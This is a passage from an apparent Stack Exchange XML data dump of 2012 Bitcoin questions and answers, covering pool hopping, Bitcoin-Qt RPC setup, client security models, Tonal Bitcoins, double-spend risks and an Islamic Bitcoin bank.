putting hashes in the chain instead of the arbitrary data itself, though I don't know whether he was strongly &lt;em&gt;opposed&lt;/em&gt; to the latter.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-01-16T20:38:58.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2609" PostTypeId="1" AcceptedAnswerId="2610" CreationDate="2012-01-16T21:32:25.623" Score="5" ViewCount="850" Body="&lt;p&gt;Some pools / payout mechanisms are vulnerable to &lt;a href=&quot;https://bitcoil.co.il/pool_analysis.pdf&quot; rel=&quot;nofollow&quot;&gt;pool hopping&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;nofollow&quot;&gt;P2Pool&lt;/a&gt; vulnerable?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-16T07:56:13.007" LastActivityDate="2016-03-16T07:56:13.007" Title="Is P2Pool vulnerable to pool hopping?" Tags="|mining-pools|mining-profitability|p2pool|pool-payout-methods|pool-hopping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2610" PostTypeId="2" ParentId="2609" CreationDate="2012-01-16T21:47:43.760" Score="4" Body="&lt;p&gt;From the &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool#Payout_logic&quot; rel=&quot;nofollow&quot;&gt;Wiki on P2Pool&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Each share contains a generation transaction that pays out to the previous n shares, where n is the number of shares whose total work is equal to 3 times the average work required to solve a block, or 17280, whichever is smaller. Payouts are weighted based on the amount of work each share took to solve - proportional to the p2pool difficulty at that time. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So it works like a PPLNS pool, which is not vulnerable to pool hopping.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-16T21:47:43.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2611" PostTypeId="2" ParentId="2549" CreationDate="2012-01-16T23:06:14.327" Score="12" Body="&lt;p&gt;comment and comment-to are both just stored as text with the transaction. The intent is that comment be used to store what the transaction is for, and comment-to be used to store the name of the person or organization to which you're sending the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither are stored anywhere besides your wallet (they're not sent with transactions), and neither are encrypted in any way.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2012-01-16T23:06:14.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2612" PostTypeId="2" ParentId="2570" CreationDate="2012-01-17T00:03:56.603" Score="19" Body="&lt;p&gt;You can start it from the command-line using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;open Bitcoin-Qt.app --args -server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the &lt;code&gt;--args&lt;/code&gt; option to open is OSX 10.6 and later; if you are running an older OSX put &lt;code&gt;server=1&lt;/code&gt; in your &lt;code&gt;~/Library/Application Support/Bitcoin/bitcoin.conf&lt;/code&gt; file. In fact, to use the -server command you must set a &lt;code&gt;-rpcuser/-rpcpassword&lt;/code&gt;, so I'd suggest creating a &lt;code&gt;bitcoin.conf&lt;/code&gt; that contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=yourname&#xA;rpcpassword=...something else&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We don't ship a bitcoind for the Mac, but you can use curl (for example) to send commands to the running Bitcoin-Qt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --user yourname --data-binary '{&quot;id&quot;:&quot;t0&quot;, &quot;method&quot;: &quot;getinfo&quot;, &quot;params&quot;: [] }' http://127.0.0.1:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The bitcoin source tree also contains python code that uses the free 'jsonrpc' library to communicate with a running Bitcoin-Qt (see contrib/bitrpc/).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="415" LastEditDate="2017-03-26T17:35:10.830" LastActivityDate="2017-03-26T17:35:10.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2613" PostTypeId="1" CreationDate="2012-01-17T01:19:35.730" Score="10" ViewCount="1647" Body="&lt;p&gt;As there was some disagreement on security of various models of Bitcoin clients in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2585/323&quot;&gt;comments to this answer&lt;/a&gt;, I'd like to address the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How secure are various models of Bitcoin clients? Those would include the standard client, &quot;lightweight client&quot; (one keeping only block headers from old blocks), eWallets, client-server client (relying on one server for all information, but keeping a wallet separate), and the proposed Stratum client (relying on many servers for information).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how does the security of such model rely on the person developing it (core Bitcoin team, reputable Bitcoin enthusiasts, people not known in the community)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &quot;Stratum client offers security features X. If the server was created by a trusted party, the security concerns are Y, if the server was created by malevolent person, the security concerns are Z&quot;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-01-17T10:42:48.767" Title="How secure are various models of Bitcoin clients?" Tags="|client|security|protocol|thin-clients|safety|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2614" PostTypeId="2" ParentId="2606" CreationDate="2012-01-17T02:44:24.890" Score="0" Body="&lt;p&gt;The Casascius coin could result in a coin with no value if the digital bitcoin is not transferred to the holder. It seems to work just as a collectable and may have value just as regular collectable coins do. So the owner of the silver round could have value and the owner of the bitcoin would have value.  Interesting concept.&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2012-01-17T02:44:24.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2615" PostTypeId="2" ParentId="2613" CreationDate="2012-01-17T05:46:17.620" Score="7" Body="&lt;p&gt;I'll answer about &quot;the Stratum model&quot; - &lt;strong&gt;it has the potential to be very secure, for any practical purpose&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider these facts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Both the client and server implementations will be open source.&lt;/li&gt;&#xA;&lt;li&gt;The vision is to have multiple independent servers, run by various entities (including large, &quot;semi trusted&quot; entities such as major exchanges and pools).&lt;/li&gt;&#xA;&lt;li&gt;The server never gets a client's private keys. The server only acts as a relay to the Bitcoin network - it answers queries such as &quot;list all transactions to address X&quot;, and pushes &quot;&lt;a href=&quot;https://strongcoin.com/blog/the_easiest_way_to_create_secure_offline_bitcoin_transactions&quot;&gt;offline transactions&lt;/a&gt;&quot; generated privately by the client to the rest of the network.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, if the server never has a client's private keys, it cannot spend one's bitcoins. I can think of two possible attack vectors:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A server can lie in response to a query - when you ask for &quot;all transactions to address X&quot;, it can add fictitious ones, or remove some.&lt;/li&gt;&#xA;&lt;li&gt;A server can lie that it forwarded an offline transaction, but instead discard it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Both these attacks are mitigated by talking to multiple semi-trusted servers. Suppose there are a lot indepndant servers, run by various exchanges, pools, and other semi-trusted parties. The Stratum client protocol will, in the future, send queries to multiple servers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Queries are sent to N sent servers, and are considered truthful by the client if at least M servers agree. A good value for &lt;code&gt;M&lt;/code&gt; might be &lt;code&gt;N/2+1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Offline transactions are similarly pushed to N servers. It suffices that one of them is honest, and will transmit the transaction to the Bitcoin network to circumvent any potential problem.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Given the above analysis, only a coalition of more than half Stratum servers operators has the potential to disrupt to protocol. Since we'll only consider semi-trusted servers, and not point out client at any random Stratum server (to mitigate an attacker starting 1000 evil servers), then &lt;strong&gt;all of these trusted server operators have way more to lose if they cheat than the client does&lt;/strong&gt;. I wouldn't use Stratum for a 100,000 BTC transaction, but I think it would be safe even in up to 1000 BTC or more (arbitrary number, the actual number will depend on the number and nature of deployed stratum servers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the above depends strongly on the Startum client itself. Since it does know your private keys, if it were written by a malicious party it could leak your keys - but so could any program running on your computer! It is open source, and the security considerations are identical to the standard Bitcoin client. Each Stratum client should be evaluated according to the reputation of its authors, and the amount of scrutiny its source code receives.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-17T05:46:17.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2616" PostTypeId="1" CreationDate="2012-01-17T09:11:42.203" Score="4" ViewCount="1028" Body="&lt;p&gt;&lt;a href=&quot;http://btcmsg.ifreeweb.net/&quot; rel=&quot;nofollow&quot;&gt;btcmsg&lt;/a&gt; seems to be using proprietary software to encode and decode messages in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did they expose their algorithm? If they shut down tomorrow, how can someone decode messages he stored using their service?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2012-01-17T09:22:55.007" LastActivityDate="2012-01-18T22:51:21.700" Title="How to decode messages embedded with btcmsg?" Tags="|blockchain|services|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2617" PostTypeId="2" ParentId="2616" CreationDate="2012-01-17T09:22:36.660" Score="2" Body="&lt;p&gt;Their FAQ links to a document that describes the protocol, and they provide an open source Python client to decode the messages. The server implementation is also open source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put the client files + protocol spec on a &lt;a href=&quot;https://gist.github.com/1625828&quot; rel=&quot;nofollow&quot;&gt;github gist&lt;/a&gt;, just in case.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-01-17T09:22:36.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2619" PostTypeId="2" ParentId="2613" CreationDate="2012-01-17T10:14:01.127" Score="8" Body="&lt;p&gt;One way to look at security is to identify the risks. For a bitcoin client there are at least :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Theft of private keys&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mitigation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.1 Keys should be encrypted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.2 Keys should not available to servers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.3 Key generation should be done securely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Loss of private keys&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.1 You should be able to backup your wallet or private keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Client software fails or is untrustworthy&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.1 Software should be open source so that you can build it yourself and inspect the code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.2 Software downloads should be signed by private key of author to prevent 'look-a-like' malicious software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.3 Author should spend time building their reputation (even if pseudonymous).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.4 The software environment the client runs in should be resistant to attack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MultiBit's scorecard&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For MultiBit - which I am the lead developer on - the &quot;Security Scorecard&quot; is currently:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.1 Currently no, planned for 0.3.0 release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.2 There is no server - purely local.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.3 Keys are generated locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.1 You can backup your wallet.  Key export and import is planned for 0.3.0 release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.1 Code is open source with an industry standard (Maven) build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.2 Currently no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.3 Author is a real public person - Jim Burton.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.4 MultiBit uses a Java Virtual Machine - its security depends on the desktop machine not being rooted.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2012-01-17T10:42:48.767" LastActivityDate="2012-01-17T10:42:48.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2620" PostTypeId="2" ParentId="2458" CreationDate="2012-01-17T16:01:59.883" Score="1" Body="&lt;p&gt;I may be biased (I'm the author), but I believe it can work and is worth the extra complexity. Please take a look at my answers to some common objections here: &lt;a href=&quot;http://bitcoinmedia.com/the-second-bitcoin-whitepaper/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinmedia.com/the-second-bitcoin-whitepaper/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="933" LastActivityDate="2012-01-17T16:01:59.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2622" PostTypeId="1" AcceptedAnswerId="2625" CreationDate="2012-01-18T10:09:21.860" Score="6" ViewCount="711" Body="&lt;p&gt;Is there already a way to detect conflicting 0-confirmation transactions? I'm assuming at least one transaction goes to my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would expect the client to list the transaction as conflicting but from what I understand from &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/730/what-does-the-bitcoin-client-do-when-it-receives-conflicting-transactions&quot;&gt;What does the Bitcoin client do when it receives conflicting transactions?&lt;/a&gt; it currently does not do so? Is there any other way available?&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-03-20T05:23:35.973" Title="Is it possible to recognize conflicting 0-confirmation transactions with the Bitcoin client or other available software?" Tags="|transactions|confirmations|fraud|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2623" PostTypeId="1" AcceptedAnswerId="2624" CreationDate="2012-01-18T10:41:04.507" Score="10" ViewCount="3320" Body="&lt;p&gt;What are Tonal Bitcoins? In what application is this system of notation superior to the decimal notation? Are there any clients or other services supporting the tonal system?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2014-09-03T12:00:46.297" LastActivityDate="2014-09-03T12:00:46.297" Title="What are Tonal Bitcoins?" Tags="|terminology|divisibility|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2624" PostTypeId="2" ParentId="2623" CreationDate="2012-01-18T14:57:08.050" Score="12" Body="&lt;p&gt;After taking a quick look over the &lt;a href=&quot;http://www.lulu.com/items/volume_71/11496000/11496218/1/print/8540271_Lulu_interior_Tonal_System_0.2.pdf&quot;&gt;Tonal Book&lt;/a&gt; (free PDF) and the &lt;a href=&quot;http://en.wikipedia.org/wiki/Tonal_System&quot;&gt;Wikipedia article&lt;/a&gt; it appears to be an early attempt at constructing a number system in base 16.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Programmers will immediately recognise this as hexadecimal. For non-programmers hexadecimal uses the following representations: 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F. Note that decimal 10 to 15 are represented by the single letters A to F, such that FF is decimal 255 or (16 * 15)+(1 * 15). To differentiate a decimal number from a hexadecimal number the conventions 0x10 (decimal 16) or 10h are widely recognised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tonal bitcoin representation attempts to offer an alternative representation of BTC known as TBC (Tonal Bitcoin) and uses the various Tonal letters to represent them. The Tonal alphabet is more complex than the hexadecimal system and requires special fonts to be available on the systems using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is unlikely that this archaic approach to base 16 is ever likely to gain traction when much more widespread approaches are available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Units covering powers of 2 in computing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that in 1998 the International Electrotechnical Commission (IEC), Institute of Electrical and Electronics Engineers (IEEE) and the International Committee for Weights and Measures (CIPM) adopted a purely &quot;powers of 2&quot; approach for some use cases. Notably the representation of computer storage and data transmission rates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives rise to 2 unit systems - one base 10, the other base 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary power of 10 notation we're all familiar with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 kilo byte (kB) = 10 ^ 3 bytes&lt;/li&gt;&#xA;&lt;li&gt;1 mega byte (MB)= 10 ^ 6 bytes (historically 1000 * 1024 for some storage cases)&lt;/li&gt;&#xA;&lt;li&gt;1 giga byte (GB) = 10 ^ 9 bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://en.wikipedia.org/wiki/Mebibyte&quot;&gt;alternative power of 2 notation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 kibi byte = 2 ^ 10 bytes&lt;/li&gt;&#xA;&lt;li&gt;1 mebi byte = 2 ^ 20 bytes&lt;/li&gt;&#xA;&lt;li&gt;1 gibi byte = 2 ^ 30 bytes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thus there is even less reason to use the Tonal system since a widespread alternative with well-defined prefixes has already been ratified for some time.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2012-01-19T09:48:51.280" LastActivityDate="2012-01-19T09:48:51.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2625" PostTypeId="2" ParentId="2622" CreationDate="2012-01-18T22:37:02.513" Score="2" Body="&lt;p&gt;A merchant can lessen the risk of being defrauded in a race attack (on 0/unconfirmed) by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using an explicit list of peers to connect to (with most of the known IP addresses of miners)&lt;/li&gt;&#xA;&lt;li&gt;Not allowing incoming connections (turn off uPnP)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this still leaves the merchant vulnerable to a 51% attack that all transactions below 6 confirmations are subject to but also to the Finney attack and another type of attack even where 2 confirmations is required (as described by vector76 here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=36788.msg463391#msg463391&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=36788.msg463391#msg463391&lt;/a&gt; )  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are asking for is a solution that would be useful for merchants who can absorb some risk that comes with accepting a bitcoin transaction at 0/unconfirmed.  Currently there is only a trivial number of merchants that accept bitcoin at a retail establishment.  And thus, no solution provider -- yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an API to the service &lt;a href=&quot;http://transactionradar.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://transactionradar.com&lt;/a&gt; which might make it possible to monitor for double spend attempts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some useful conversations related to this topic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=36788.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcointalk.org/index.php?topic=36788.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=39562.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcointalk.org/index.php?topic=39562.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/722&quot;&gt;Has there ever been a successful double spend attack on the Bitcoin network? If not, is it really necessary to wait for confirmations?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/mailarchive/message.php?msg_id=27899173&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sourceforge.net/mailarchive/message.php?msg_id=27899173&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/mailarchive/message.php?msg_id=27964471&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sourceforge.net/mailarchive/message.php?msg_id=27964471&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/181/can-bitcoins-be-counterfeited&quot;&gt;Can bitcoins be counterfeited?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=69520&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcointalk.org/index.php?topic=69520&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-03-20T05:23:35.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2626" PostTypeId="2" ParentId="2623" CreationDate="2012-01-18T22:40:55.160" Score="1" Body="&lt;p&gt;Tonal Bitcoins (TBC) are an interpretation of the low-level Bitcoin system with Tonal units (similar to how BTC is a SI interpretation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tonal number system is superior to decimal for virtually every human use, but is (similar to Dvorak keyboards, or your first second language) difficult to learn for people who were raised only with decimal. It is superior because humans naturally work in powers of 2, and this can be easily demonstrated in many areas: despite the common decimal system forced (literally) on societies today, people still find ways to use binary (for example, USD &quot;quarters&quot; or slicing pizza - ever try to slice 5 pieces?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Python Bitcoin client Spesmilo supports both BTC and TBC (and mixed) interpretations by configuration, provided a Tonal-compatible font is detected on your system. While the tonal system has not been officially adopted in any nation, it is a natural &quot;next step&quot; from some US customary units. The Tonal system, unlike the newer hexadecimal system, is complete and provides not only digits (rather than ambiguously hijacking letters) but also pronunciations, weights, measures, time, and a calendar, necessary to use it in daily life.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-01-18T22:40:55.160" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="2627" PostTypeId="2" ParentId="2572" CreationDate="2012-01-18T22:45:12.643" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=47779.0&quot; rel=&quot;nofollow&quot;&gt;Here is my merged mining implementation - not quite up to date&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-01-18T22:45:12.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2628" PostTypeId="2" ParentId="2563" CreationDate="2012-01-18T22:48:06.463" Score="2" Body="&lt;p&gt;Jeff Garzik wrote a binary protocol for pushpool originally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitPenny uses a proprietary protocol to get p2pool-like benefits.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-01-18T22:48:06.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2631" PostTypeId="1" CreationDate="2012-01-18T23:28:39.627" Score="11" ViewCount="4535" Body="&lt;p&gt;Are some possible ways to embed messages in the blockchain better in some sense than others? What are the important differences?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Followup on &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2629/78&quot;&gt;this answer&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-04-18T08:46:39.783" Title="What are the key differences between different ways of embedding messages in the blockchain?" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2632" PostTypeId="1" AcceptedAnswerId="2633" CreationDate="2012-01-19T00:17:23.800" Score="3" ViewCount="615" Body="&lt;p&gt;Slightly off topic, but perhaps it is still marginally on topic because it's about a Bitcoin-oriented business:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ib-bitcoin.com/&quot; rel=&quot;nofollow&quot;&gt;IBB&lt;/a&gt; is an &quot;Islamic bank, acting according to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Sharia&quot; rel=&quot;nofollow&quot;&gt;Sharia&lt;/a&gt; (Islamic law), charging 0% interest on BTC loans&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a profit-oriented business? A charity? Does it make money? Where do its budget come from? (I saw they're advertising on the Bitcoin forum today)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know they issued some &lt;a href=&quot;https://glbse.com/&quot; rel=&quot;nofollow&quot;&gt;GLBSE&lt;/a&gt; stocks, that might explain the source of the money - are Muslims effectively &quot;donating&quot; to this bank by purchasing stocks?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="38618" LastEditDate="2020-05-09T16:07:14.877" LastActivityDate="2021-01-20T16:41:43.073" Title="Does IBB make money? Where does its earning come from?" Tags="|business|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2633" PostTypeId="2" ParentId="2632" CreationDate="2012-01-19T00:51:10.280" Score="3" Body="&lt;p&gt;As stated by what appears to be the founder (or a key person) in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=21732.0&quot; rel=&quot;nofollow&quot;&gt;this thread in the bitcointalk forums&lt;/a&gt;, calling himself &lt;strong&gt;senbonzakura&lt;/strong&gt;: &quot;&lt;em&gt;profit from the bank must be halal (permissible). So if the bank lends at interest, the interest then is profit for the bank, and that would mean muslims(or jews/christians) cannot buy shares in the company as the bank deals with interest, which makes it non-permissible/haram.&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The motivation for running the IBB seems to be somewhat charitable, with this (edited) comment from the same person: &quot;&lt;em&gt;The problem that those 3 religions is trying to solve is human greed. Under that philosophy it does rightly condemn interest, for the reason that interest places the 'haves' infront of the 'have nots'.... From a humanitarian-philosophical perspective [the IBB] makes perfect sense, from a capitalist perspective it doesn't&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is being run as a business. The &lt;a href=&quot;http://www.ib-bitcoin.com/&quot; rel=&quot;nofollow&quot;&gt;IBB website&lt;/a&gt; says it's listed on the GLBSE, and it has asset, revenue, and dividend figures. The website doesn't go into much detail about what the bank does, but if you were to read the above linked forum thread you'd probably learn a lot more about it. Since the bank is paying out dividends, I doubt that those purchasing stock in IBB are doing it purely as a donation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to summarise:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The IBB is profit based, but doesn't earn money from interest.&lt;/li&gt;&#xA;&lt;li&gt;If you assume their revenue chart is accurate, it earns money&lt;/li&gt;&#xA;&lt;li&gt;Their revenue stream includes (complete list so far): Shares/Dividends, Arbitrage, Gratuity&lt;/li&gt;&#xA;&lt;li&gt;Even though IBB doesn't charge interest, they accept donations from borrowers. Depending on the culture of the customers, this could be considered to be like making optional interest payments.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-01-19T08:43:19.297" LastActivityDate="2012-01-19T08:43:19.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2634" PostTypeId="2" ParentId="2632" CreationDate="2012-01-19T01:32:03.177" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Islamic_banking&quot; rel=&quot;nofollow&quot;&gt;This Wikipedia article on Islamic Banking&lt;/a&gt; might explain how IBB works, at least if it follows in the pattern of such banks. Generally, one doesn't charge interest because it is not sharia-compatible, but it's okay for the bank to buy what you want, and then sell it to you in instalments at a higher price. It's like saying: &quot;I'll give you this 100$ bill, and you can pay me back at 0% interest in 10 instalments of 11$&quot;. Here's an explanation from Wiki:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In an Islamic mortgage transaction, instead of loaning the buyer money to purchase the item, a bank might buy the item itself from the seller, and re-sell it to the buyer at a profit, while allowing the buyer to pay the bank in installments. However, the bank's profit cannot be made explicit and therefore there are no additional penalties for late payment. In order to protect itself against default, the bank asks for strict collateral. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-19T01:32:03.177" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
